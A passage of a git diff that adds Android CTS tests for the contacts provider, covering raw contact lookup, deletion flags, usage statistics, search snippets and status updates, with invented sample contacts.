+            RawContacts.SOURCE_ID,
+            RawContacts.BACKUP_ID,
+            RawContacts.VERSION,
+            RawContacts.SYNC1,
+            RawContacts.SYNC2,
+            RawContacts.SYNC3,
+            RawContacts.SYNC4
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testGetLookupUriBySourceId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.SOURCE_ID, "source_id")
+                .insert();
+
+        // TODO remove this. The method under test is currently broken: it will not
+        // work without at least one data row in the raw contact.
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), rawContact.load().getContactId());
+    }
+
+    public void testGetLookupUriByDisplayName() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
+        assertNotNull("Could not produce a lookup URI", lookupUri);
+
+        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
+        assertEquals("Lookup URI matched the wrong contact",
+                lookupContact.getId(), rawContact.load().getContactId());
+    }
+
+    public void testRawContactDelete_setsDeleteFlag() {
+        long rawContactid = RawContactUtil.insertRawContact(mResolver,
+                StaticAccountAuthenticator.ACCOUNT_1);
+
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        RawContactUtil.delete(mResolver, rawContactid, false);
+
+        String[] projection = new String[]{
+                ContactsContract.RawContacts.CONTACT_ID,
+                ContactsContract.RawContacts.DELETED
+        };
+        String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
+                projection);
+
+        // Contact id should be null
+        assertNull(result[0]);
+        // Record should be marked deleted.
+        assertEquals("1", result[1]);
+    }
+
+    public void testRawContactDelete_removesRecord() {
+        long rawContactid = RawContactUtil.insertRawContact(mResolver,
+                StaticAccountAuthenticator.ACCOUNT_1);
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        RawContactUtil.delete(mResolver, rawContactid, true);
+
+        assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
+
+        // already clean
+    }
+
+
+    // This implicitly tests the Contact create case.
+    public void testRawContactCreate_updatesContactUpdatedTimestamp() {
+        long startTime = System.currentTimeMillis();
+
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+        long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
+                ids.mRawContactId);
+
+        assertTrue(lastUpdated > startTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        ContentValues values = new ContentValues();
+        values.put(ContactsContract.RawContacts.STARRED, 1);
+        RawContactUtil.update(mResolver, ids.mRawContactId, values);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        RawContactUtil.delete(mResolver, ids.mRawContactId, false);
+
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+        // clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testRawContactDelete_hasDeleteLogForContact() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
+
+        // already clean
+    }
+
+    private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
+            long rawContactId) {
+        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
+        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
+
+        return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
+    }
+
+    public void testProjection() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "test name")
+                .insert();
+
+        DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
+                RAW_CONTACTS_PROJECTION,
+                new long[]{rawContact.getId()}
+        );
+    }
+
+    public void testInsertUsageStat() throws Exception {
+        final long now = System.currentTimeMillis();
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.TIMES_CONTACTED, 12345)
+                    .with(RawContacts.LAST_TIME_CONTACTED, now)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(12340, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.TIMES_CONTACTED, 5)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(5L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+        {
+            TestRawContact rawContact = mBuilder.newRawContact()
+                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                    .with(RawContacts.ACCOUNT_NAME, "test_name")
+                    .with(RawContacts.LAST_TIME_CONTACTED, now)
+                    .insert();
+
+            rawContact.load();
+            assertEquals(0L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+        }
+    }
+
+    public void testUpdateUsageStat() throws Exception {
+        ContentValues values = new ContentValues();
+
+        final long now = System.currentTimeMillis();
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .with(RawContacts.TIMES_CONTACTED, 12345)
+                .with(RawContacts.LAST_TIME_CONTACTED, now)
+                .insert();
+
+        rawContact.load();
+        assertEquals(12340L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(RawContacts.TIMES_CONTACTED, 99999);
+        RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+        rawContact.load();
+        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
+        RawContactUtil.update(mResolver, rawContact.getId(), values);
+
+        rawContact.load();
+        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
+        assertEquals((now / 86400 * 86400) + 86400,
+                rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
new file mode 100644
index 0000000..d57ecba
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_SearchSnippetsTest.java
@@ -0,0 +1,384 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Email;
+import android.provider.ContactsContract.CommonDataKinds.Note;
+import android.provider.ContactsContract.CommonDataKinds.Phone;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.CommonDataKinds.StructuredPostal;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.ContactsContract.SearchSnippets;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.InstrumentationTestCase;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.SearchSnippets} APIs.
+ */
+public class ContactsContract_SearchSnippetsTest extends InstrumentationTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    public static String[] TEST_PROJECTION = new String[] {
+        Contacts._ID,
+        SearchSnippets.SNIPPET
+    };
+
+    public static ContentValues[] sContentValues = new ContentValues[3];
+    static {
+        ContentValues cv1 = new ContentValues();
+        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
+        sContentValues[0] = cv1;
+
+        ContentValues cv2 = new ContentValues();
+        cv2.put(Contacts.DISPLAY_NAME, "Cold Tamago");
+        sContentValues[1] = cv2;
+
+        ContentValues cv3 = new ContentValues();
+        cv3.put(Contacts.DISPLAY_NAME, "John Doe");
+        sContentValues[2] = cv3;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getInstrumentation().getTargetContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testSearchSnippets_NoMatch() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("nomatch").build();
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids);
+    }
+
+    public void testEnterpriseSearchSnippets_NoMatch() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).appendPath("nomatch").build();
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids);
+    }
+
+    public void testSearchSnippets_MatchEmailAddressCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("farm").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[1]);
+        expected.put(SearchSnippets.SNIPPET, "eggs@[farmers].org");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testEnterpriseSearchSnippets_MatchEmailAddressCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("farm").appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[1]);
+        expected.put(SearchSnippets.SNIPPET, "eggs@[farmers].org");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testSearchSnippets_MatchPhoneNumberCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("510").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[0]);
+        expected.put(SearchSnippets.SNIPPET, "[510-123-5769]");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testEnterpriseSearchSnippets_MatchPhoneNumberCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("510").appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[0]);
+        expected.put(SearchSnippets.SNIPPET, "[510-123-5769]");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testSearchSnippets_MatchPostalAddressCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("street").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "123 Main [Street] Unit 3113\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testEnterpriseSearchSnippets_MatchPostalAddressCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("street").appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "123 Main [Street] Unit 3113\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testSearchSnippets_LongMatchTruncation() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("over").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "\u2026dog jumps [over] the quick\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testEnterpriseSearchSnippets_LongMatchTruncation() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("over").appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "\u2026dog jumps [over] the quick\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testSearchSnippets_MultipleMatchesCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("123").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[1]);
+        expected.put(SearchSnippets.SNIPPET, "[123-456-7890]");
+
+        final ContentValues expected2 = new ContentValues();
+        expected2.put(Contacts._ID, ids[2]);
+        expected2.put(SearchSnippets.SNIPPET, "[123] Main Street Unit 3113\u2026");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected, expected2);
+    }
+
+    public void testEnterpriseSearchSnippets_MultipleMatchesCorrectSnippet() throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("123").appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT)).build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[1]);
+        expected.put(SearchSnippets.SNIPPET, "[123-456-7890]");
+
+        final ContentValues expected2 = new ContentValues();
+        expected2.put(Contacts._ID, ids[2]);
+        expected2.put(SearchSnippets.SNIPPET, "[123] Main Street Unit 3113\u2026");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected, expected2);
+    }
+
+    /**
+     * Tests that if deferred snippeting is indicated, the provider will not perform formatting
+     * of the snippet for a single word query.
+     */
+    public void testSearchSnippets_DeferredSnippetingSingleWordQuerySnippetDeferred() throws
+            Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
+                .appendPath("510").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[0]);
+        expected.put(SearchSnippets.SNIPPET, "510-123-5769");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Tests that if deferred snippeting is indicated, the provider will not perform formatting
+     * of the snippet for a single word query.
+     */
+    public void testEnterpriseSearchSnippets_DeferredSnippetingSingleWordQuerySnippetDeferred()
+            throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT))
+                .appendPath("510").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[0]);
+        expected.put(SearchSnippets.SNIPPET, "510-123-5769");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Tests that even if deferred snippeting is indicated, a multi-word query will have formatting
+     * of the snippet done by the provider using SQLite
+     */
+    public void testSearchSnippets_DeferredSnippetingMultiWordQuerySnippetNotDeferred() throws
+            Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
+                .appendPath("jumps over").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "\u2026lazy dog [jumps] [over] the\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Tests that even if deferred snippeting is indicated, a multi-word query will have formatting
+     * of the snippet done by the provider using SQLite
+     */
+    public void testEnterpriseSearchSnippets_DeferredSnippetingMultiWordQuerySnippetNotDeferred()
+            throws Exception {
+        long[] ids = setupTestData();
+        final Uri uri = ContactsContract.Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                        String.valueOf(Directory.DEFAULT))
+                .appendPath("jumps over").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(Contacts._ID, ids[2]);
+        expected.put(SearchSnippets.SNIPPET, "\u2026lazy dog [jumps] [over] the\u2026");
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Given a uri, performs a query on the contacts provider for that uri and asserts that the
+     * cursor returned from the query matches the expected results.
+     *
+     * @param uri Uri to perform the query for
+     * @param contactsId Array of contact IDs that serves as an additional filter on the result
+     * set. This is needed to limit the output to temporary test contacts that were created for
+     * purposes of the test, so that the tests do not fail on devices with existing contacts on
+     * them
+     * @param expected An array of ContentValues corresponding to the expected output of the query
+     */
+    private void assertCursorStoredValuesWithContactsFilter(Uri uri, long[] contactsId,
+            ContentValues... expected) {
+        // We need this helper function to add a filter for specific contacts because
+        // otherwise tests will fail if performed on a device with existing contacts data
+        StringBuilder sb = new StringBuilder();
+        sb.append(Contacts._ID + " in ");
+        sb.append("(");
+        for (int i = 0; i < contactsId.length; i++) {
+            if (i != 0) sb.append(",");
+            sb.append(contactsId[i]);
+        }
+        sb.append(")");
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, TEST_PROJECTION,
+                sb.toString(), null, null, false, expected);
+    }
+
+    /**
+     * Setup the contacts database with temporary contacts used for testing. These contacts will be
+     * removed during teardown.
+     *
+     * @return An array of long values corresponding to the ids of the created contacts
+     * @throws Exception
+     */
+    private long[] setupTestData() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
+                .insert();
+        rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "510-123-5769")
+                .with(Email.TYPE, Phone.TYPE_HOME)
+                .insert().load().getId();
+        rawContact.load();
+        TestContact contact = rawContact.getContact().load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
+                .insert();
+        rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "eggs@farmers.org")
+                .with(Email.TYPE, Email.TYPE_HOME)
+                .insert().load();
+        rawContact2.newDataRow(Phone.CONTENT_ITEM_TYPE)
+        .with(Phone.DATA, "123-456-7890")
+        .with(Phone.TYPE, Phone.TYPE_OTHER)
+        .insert().load();
+
+        rawContact2.load();
+        TestContact contact2 = rawContact2.getContact().load();
+
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "John Doe")
+                .insert();
+        rawContact3.newDataRow(StructuredPostal.CONTENT_ITEM_TYPE)
+                .with(StructuredPostal.DATA, "123 Main Street Unit 3113")
+                .with(StructuredPostal.TYPE, StructuredPostal.TYPE_HOME)
+                .insert().load().getId();
+        rawContact3.newDataRow(Note.CONTENT_ITEM_TYPE)
+                .with(Note.NOTE, "The lazy dog jumps over the quick brown fox.")
+                .insert().load();
+        rawContact3.load();
+        TestContact contact3 = rawContact3.getContact().load();
+
+        return new long[] {
+                contact.getId(), contact2.getId(), contact3.getId()
+        };
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
new file mode 100644
index 0000000..d28bb11
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StatusUpdatesTest.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderOperation;
+import android.content.ContentProviderResult;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Im;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.ContactsContract.StatusUpdates;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+
+public class ContactsContract_StatusUpdatesTest extends AndroidTestCase {
+
+    private static final String ACCOUNT_TYPE = "android.provider.cts";
+    private static final String ACCOUNT_NAME = "ContactsContract_StatusUpdatesTest";
+
+    private ContentResolver mResolver;
+    private long dataId;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = mContext.getContentResolver();
+
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+
+        ops.add(ContentProviderOperation.newInsert(RawContacts.CONTENT_URI)
+                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
+                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
+                .build());
+
+        ops.add(ContentProviderOperation.newInsert(Data.CONTENT_URI)
+                .withValueBackReference(Data.RAW_CONTACT_ID, 0)
+                .withValue(Data.MIMETYPE, Im.CONTENT_ITEM_TYPE)
+                .withValue(Im.TYPE, Im.TYPE_HOME)
+                .withValue(Im.PROTOCOL, Im.PROTOCOL_GOOGLE_TALK)
+                .build());
+
+        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+        assertNotNull(results[0].uri);
+        assertNotNull(results[1].uri);
+
+        dataId = ContentUris.parseId(results[1].uri);
+    }
+
+    public void testInsertStatus() throws Exception {
+        Uri uri = insertStatusUpdate(dataId, StatusUpdates.DO_NOT_DISTURB, null, null);
+        assertPresence(uri, StatusUpdates.DO_NOT_DISTURB);
+        assertStatus(uri, null);
+        assertHasTimestamp(uri, false);
+        assertRowCount(uri, 1);
+
+        Uri uri2 = insertStatusUpdate(dataId, StatusUpdates.AVAILABLE, null, null);
+        assertEquals(uri, uri2);
+
+        assertPresence(uri, StatusUpdates.AVAILABLE);
+        assertStatus(uri, null);
+        assertHasTimestamp(uri, false);
+        assertRowCount(uri, 1);
+
+        Uri uri3 = insertStatusUpdate(dataId, StatusUpdates.AWAY, "Grabbing a byte", null);
+        assertEquals(uri2, uri3);
+
+        assertPresence(uri, StatusUpdates.AWAY);
+        assertStatus(uri, "Grabbing a byte");
+        assertHasTimestamp(uri, false);
+        assertRowCount(uri, 1);
+
+        // Inserting a new status message causes a timestamp to be inserted
+        Uri uri4 = insertStatusUpdate(dataId, StatusUpdates.IDLE, "Taking a bit of a break", null);
+        assertEquals(uri3, uri4);
+
+        assertPresence(uri, StatusUpdates.IDLE);
+        assertStatus(uri, "Taking a bit of a break");
+        assertHasTimestamp(uri, true);
+        assertRowCount(uri, 1);
+    }
+
+    private Uri insertStatusUpdate(long dataId, int presence, String status, Long timestamp)
+            throws Exception {
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+        ops.add(ContentProviderOperation.newInsert(StatusUpdates.CONTENT_URI)
+                .withValue(StatusUpdates.DATA_ID, dataId)
+                .withValue(StatusUpdates.PRESENCE, presence)
+                .withValue(StatusUpdates.STATUS, status)
+                .withValue(StatusUpdates.STATUS_TIMESTAMP, timestamp)
+                .withValue(StatusUpdates.PROTOCOL, Im.PROTOCOL_GOOGLE_TALK)
+                .withValue(StatusUpdates.IM_HANDLE, "mrBugDroid1337")
+                .build());
+
+        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+        assertNotNull(results[0].uri);
+        return results[0].uri;
+    }
+
+    private void assertRowCount(Uri uri, int count) throws Exception {
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+        ops.add(ContentProviderOperation.newAssertQuery(uri)
+                .withExpectedCount(count)
+                .build());
+
+        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+    }
+
+    private void assertPresence(Uri uri, int status) throws Exception {
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+        ops.add(ContentProviderOperation.newAssertQuery(uri)
+                .withValue(StatusUpdates.PRESENCE, status)
